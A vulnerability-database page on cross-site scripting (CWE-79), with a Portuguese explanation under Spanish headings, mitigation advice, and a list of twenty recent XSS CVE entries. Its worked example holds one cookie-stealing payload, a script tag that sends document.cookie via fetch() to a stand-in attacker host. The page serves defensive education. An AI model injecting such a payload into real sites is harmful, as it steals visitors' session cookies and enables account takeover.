Fallos del tipo CWE-79

30.316 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-96558HIGHQuiz and Survey Master (QSM) <= 11.2.6 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'qsm_hidden_questions' ParameterEPSS 0.2%CVE-2025-25625MEDIUMA stored cross-site scripting vulnerability exists in FS model S3150-8T2F switches running firmware s3150-8t2f-switch-fsos-220d_118101 and wEPSS 0.2%CVE-2025-4169MEDIUMPosts per Cat [Unmaintained] <= 1.4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-43830MEDIUMStored cross-site scripting (XSS) vulnerability in Forms in Liferay Portal 7.3.2 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.QEPSS 0.2%CVE-2025-63640MEDIUMSourcecodester Medicine Reminder App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the "Medicine Name" and "Notes (Optional)" fields wEPSS 0.2%CVE-2026-100186HIGHUser Profile Builder <= 4.0.3 - Unauthenticated Stored Cross-Site Scripting via First Name FieldEPSS 0.2%CVE-2025-8460MEDIUMA user with elevated privileges can inject XSS in the Notification rules configuration pageEPSS 0.2%CVE-2026-119162HIGHUser Submitted Posts <= 20260916 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'user-submitted-content' Parameter via Block-Comment Shortcode SplittingEPSS 0.2%CVE-2024-56221MEDIUMWordPress WPMozo Addons Lite for Elementor plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-57292MEDIUMTodoist v8484 contains a stored cross-site scripting (XSS) vulnerability in the avatar upload functionality. The application fails to properEPSS 0.2%CVE-2026-96568HIGHRestaurant Menu and Food Ordering <= 2.4.14 - Unauthenticated Stored Cross-Site Scripting via 'phone_number' ParameterEPSS 0.2%CVE-2025-4055MEDIUMMultiple Post Type Order <= 1.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via mpto ShortcodeEPSS 0.2%CVE-2025-63638MEDIUMSourcecodester AI-Powered To-Do List App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the "Task Title" and "Description (Optional)" fEPSS 0.2%CVE-2025-65215MEDIUMSourcecodester Web-based Pharmacy Product Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /product_expiry/add-supplierEPSS 0.2%CVE-2024-53287MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in VPN Setting functionality in Synology EPSS 0.2%CVE-2026-40201MEDIUM@diplodoc/search-extension 1.0.0 through 3.x before 3.0.3 allows stored XSS via the title in a .md file.EPSS 0.2%CVE-2025-22281MEDIUMWordPress Simplish theme <= 2.6.4 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-27139MEDIUMCombodo iTop vulnerable to stored self Cross-site Scripting in preferencesEPSS 0.2%CVE-2026-93889HIGHMail logging <= 2.1.12 - Unauthenticated Stored Cross-Site Scripting via PHPMailer 'wp_mail_failed' Error MessageEPSS 0.2%CVE-2025-11927MEDIUMFlying Images: Optimize and Lazy Load Images for Faster Page Speed <= 2.4.14 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%